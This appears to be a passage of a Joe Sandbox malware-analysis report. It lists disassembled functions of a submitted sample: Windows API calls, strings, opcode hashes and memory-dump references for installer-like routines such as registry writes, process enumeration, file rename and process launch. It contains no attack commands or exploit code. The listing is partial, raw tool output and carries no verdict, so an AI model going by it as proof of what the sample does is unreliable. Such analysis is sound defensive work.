Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
Instruction ID: b91193b5dd17d351e639dca097a4c2443a83fae7855d8014906372cda19badf2
Opcode Fuzzy Hash: 005be0a9498432eb51f9697d6085e84733c01c19a866f8c94ce5140aa3afdc34
Instruction Fuzzy Hash: 4EE06D32600204AFD700EB749D45ABE736CDF01329F20457BF146F20D1E6B89A41976A

Function 004063AC Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063BF
lstrlenW.KERNEL32(?), ref: 004063CC
GetVersionExW.KERNEL32(?), ref: 0040642A

Part of subcall function 0040602B: CharUpperW.USER32(?,00406401,?), ref: 00406031

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406469
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00406488
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00406492
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 0040649D
FreeLibrary.KERNEL32(00000000), ref: 004064D4
GlobalFree.KERNEL32(?), ref: 004064DD

Strings

CreateToolhelp32Snapshot, xrefs: 004065B5
Process32FirstW, xrefs: 004065BD
EnumProcesses, xrefs: 00406482
Kernel32.DLL, xrefs: 0040659B
Unknown, xrefs: 004064FC
Module32NextW, xrefs: 004065DE
GetModuleBaseNameW, xrefs: 00406494
EnumProcessModules, xrefs: 0040648A
PSAPI.DLL, xrefs: 00406464
Module32FirstW, xrefs: 004065D3
Process32NextW, xrefs: 004065C8

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction ID: f5db07f83b48746be4b9c4f5c588c21b75103c60b5638216cabcef37c42edb4d
Opcode Fuzzy Hash: a5c47c37ebb79c3570a5199304d67498c128a01cd5ae19e8b8640fa4b13707a3
Instruction Fuzzy Hash: 38919331900219EBDF109FA4CD88AAFBBB8EF44741F11447BE546F6281DB388A51CF68

Function 004040B8 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040416D
GetDlgItem.USER32(?,000003E8), ref: 00404181
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040419E
GetSysColor.USER32(?), ref: 004041AF
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041BD
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041CB
lstrlenW.KERNEL32(?), ref: 004041D6
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004041E3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004041F2

Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404124,?), ref: 00403FE1
Part of subcall function 00403FCA: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404124,?), ref: 00403FF0
Part of subcall function 00403FCA: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404124,?), ref: 00404004

GetDlgItem.USER32(?,0000040A), ref: 0040424A
SendMessageW.USER32(00000000), ref: 00404251
GetDlgItem.USER32(?,000003E8), ref: 0040427E
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042C1
LoadCursorW.USER32(00000000,00007F02), ref: 004042CF
SetCursor.USER32(00000000), ref: 004042D2
ShellExecuteW.SHELL32(0000070B,open,00462540,00000000,00000000,00000001), ref: 004042E7
LoadCursorW.USER32(00000000,00007F00), ref: 004042F3
SetCursor.USER32(00000000), ref: 004042F6
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404325
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404337

Strings

N, xrefs: 0040426C
open, xrefs: 004042DF
@%F, xrefs: 004042A7

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: @%F$N$open
API String ID: 3928313111-3849437375
Opcode ID: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction ID: 2c1438ad93098d7b112eeb2502b55652a68651cb38e922ac8f4fb42b83a973d4
Opcode Fuzzy Hash: a841256503f372cb329faf737530af9fe18869c9bb3e71d47027397a25b41a99
Instruction Fuzzy Hash: 0F71A4B1900609FFDB109F60DD45EAA7B79FB44305F00843AFA05B62D1C778A991CF99

Function 00406A99 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(0045B2C8,NUL,?,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AA9
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE,?,00000000,000000F1,?), ref: 00406AC8
GetShortPathNameW.KERNEL32(000000F1,0045B2C8,00000400), ref: 00406AD1

Part of subcall function 00405DB6: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DC6
Part of subcall function 00405DB6: lstrlenA.KERNEL32(?,?,00000000,00406BD3,00000000,[Rename]), ref: 00405DF8

GetShortPathNameW.KERNEL32(000000F1,00460920,00000400), ref: 00406AF2
WideCharToMultiByte.KERNEL32(00000000,00000000,0045B2C8,000000FF,0045BAC8,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B1B
WideCharToMultiByte.KERNEL32(00000000,00000000,00460920,000000FF,0045C118,00000400,00000000,00000000,?,00000000,?,00406C90,000000F1,000000F1,00000001,00406EAE), ref: 00406B33
wsprintfA.USER32 ref: 00406B4D
GetFileSize.KERNEL32(00000000,00000000,00460920,C0000000,00000004,00460920,?,?,00000000,000000F1,?), ref: 00406B85
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406B94
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BB0
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406BE0
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,0045C518,00000000,-0000000A,0040987C,00000000,[Rename]), ref: 00406C37

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C4B
GlobalFree.KERNEL32(00000000), ref: 00406C52
CloseHandle.KERNEL32(?), ref: 00406C5C

Strings

%s=%s, xrefs: 00406B43
F, xrefs: 00406AE8
NUL, xrefs: 00406A9E
[Rename], xrefs: 00406BC8, 00406BD7

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: F$%s=%s$NUL$[Rename]
API String ID: 565278875-1653569448
Opcode ID: a83451b5c4aab99109613fb463f01f18261c5de4d9c28115f8397278e7cafe6e
Instruction ID: f97e154d5ee7f709bd30e138c0dd6e282719408add8f0d739c14b832633f1bd9
Opcode Fuzzy Hash: a83451b5c4aab99109613fb463f01f18261c5de4d9c28115f8397278e7cafe6e
Instruction Fuzzy Hash: AE412632104208BFE6206B619E8CD6B3B6CDF86754B16043EF586F22D1DA3CDC158ABC

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,0046ADC0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction ID: e7530e13063599d95e155ed3b2c7b7521dfa2668d538c4695d9c695e9582dc0d
Opcode Fuzzy Hash: f4369597f17a3e87964d78a18e042c43d151941ad2c2ecd61bd33e0f0092c561
Instruction Fuzzy Hash: 01516C71400209AFCB058F95DE459AF7FB9FF45311F00802EF992AA1A0CB78DA55DFA4

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004130D8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004130D8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

WriteReg: error creating key "%s\%s", xrefs: 004029F5
WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918
WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction ID: 4ea7a0066738be70411365ddd6f3e5606018e51d84950e7919a1ab5782edcef9
Opcode Fuzzy Hash: 51d35262b0c2a2c9e21de093e360e43a16013741a0d7e0050a8341ec78c57d1d
Instruction Fuzzy Hash: 3D41BFB2D00209BFDF11AF90CE46DAEBBB9EB04704F20407BF505B61A1D6B94B509B59

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction ID: 876417c632a2c352b67fb01c84f3ccb8dada3a759dccfb7ac575e016526b3130
Opcode Fuzzy Hash: 7d19fd18931236c609f14dd9ebe02190de13aa3954742adab313f132dac73535
Instruction Fuzzy Hash: E231B272800115BBCB11AFA4CE45DAF7FB9EF08364F10023AF555B61E1CB794E419B98

Function 004060E7 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,004062D4,00000000), ref: 004060FE
GetFileAttributesW.KERNEL32(0046A560,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040613C
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,0046A560,40000000,00000004), ref: 00406175
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,0046A560,40000000,00000004), ref: 00406181
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00409678,?,00000000,00000000,?,?,004062D4,00000000), ref: 0040619B
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,004062D4,00000000), ref: 004061A2
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,004062D4,00000000,?,?,004062D4,00000000), ref: 004061B7

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 00406195, 0040619A, 004061A1, 004061B0

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-2769509956
Opcode ID: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction ID: 719ae6cd10854ac59b0cdc08190af65770ef99398ad526dd54b0ef62760a23c4
Opcode Fuzzy Hash: db2296b131d449b30ff8990abd275774a0521ce3dbf342b3e8cfb01d18cadc82
Instruction Fuzzy Hash: 4621F271400200BBD710AB64DD88D9B376CEB02370B25C73AF626BA1E1E77449868BAD

Function 004023F0 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: Could not initialize OLE, xrefs: 004024F1
Error registering DLL: Could not load %s, xrefs: 004024DB
Error registering DLL: %s not found in %s, xrefs: 0040249A
P}a, xrefs: 00402473

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s$P}a
API String ID: 1033533793-2864341759
Opcode ID: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction ID: e967fad4df15afb35ea17a6f8951328f27fda4bee3b51f855042d01f5ead75df
Opcode Fuzzy Hash: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction Fuzzy Hash: 34219131904208BBCF206FA1CE45E9E7A74AF40314F30817FF511B61E1D7BD4A819A5D

Function 00403DCA Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403DE4
GetSysColor.USER32(00000000), ref: 00403E00
SetTextColor.GDI32(?,00000000), ref: 00403E0C
SetBkMode.GDI32(?,?), ref: 00403E18
GetSysColor.USER32(?), ref: 00403E2B
SetBkColor.GDI32(?,?), ref: 00403E3B
DeleteObject.GDI32(?), ref: 00403E55
CreateBrushIndirect.GDI32(?), ref: 00403E5F

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction ID: efe235911933e34786796033030fc6f48e67331b78f43f6f4bde0ddab4ebbdd0
Opcode Fuzzy Hash: ac93da855729cb6ae330e7292f06b4dcfb528e6a29ab184958864ff4432b54b5
Instruction Fuzzy Hash: 7D1166715007046BCB219F78DE08B5BBFF8AF01755F048A2DE886F22A0D774DA48CB94

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00405C3F: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
Part of subcall function 00405C3F: CloseHandle.KERNEL32(?), ref: 00405C71

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: failed createprocess ("%s"), xrefs: 004022C2
Exec: command="%s", xrefs: 00402241
Exec: success ("%s"), xrefs: 00402263

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction ID: 1f9fd54ce4b92d80b15c686f19ace2d36b15c716f321f29b17dee5dd027f7fd2
Opcode Fuzzy Hash: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction Fuzzy Hash: 3E11C632904115EBDB11BBE0DE46AAE3A61EF00314B24807FF501B50D1CBBC4D41D79D

Function 0040484E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404869
GetMessagePos.USER32 ref: 00404871
ScreenToClient.USER32(?,?), ref: 00404889
SendMessageW.USER32(?,00001111,00000000,?), ref: 0040489B
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048C1

Strings

f, xrefs: 0040489D

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
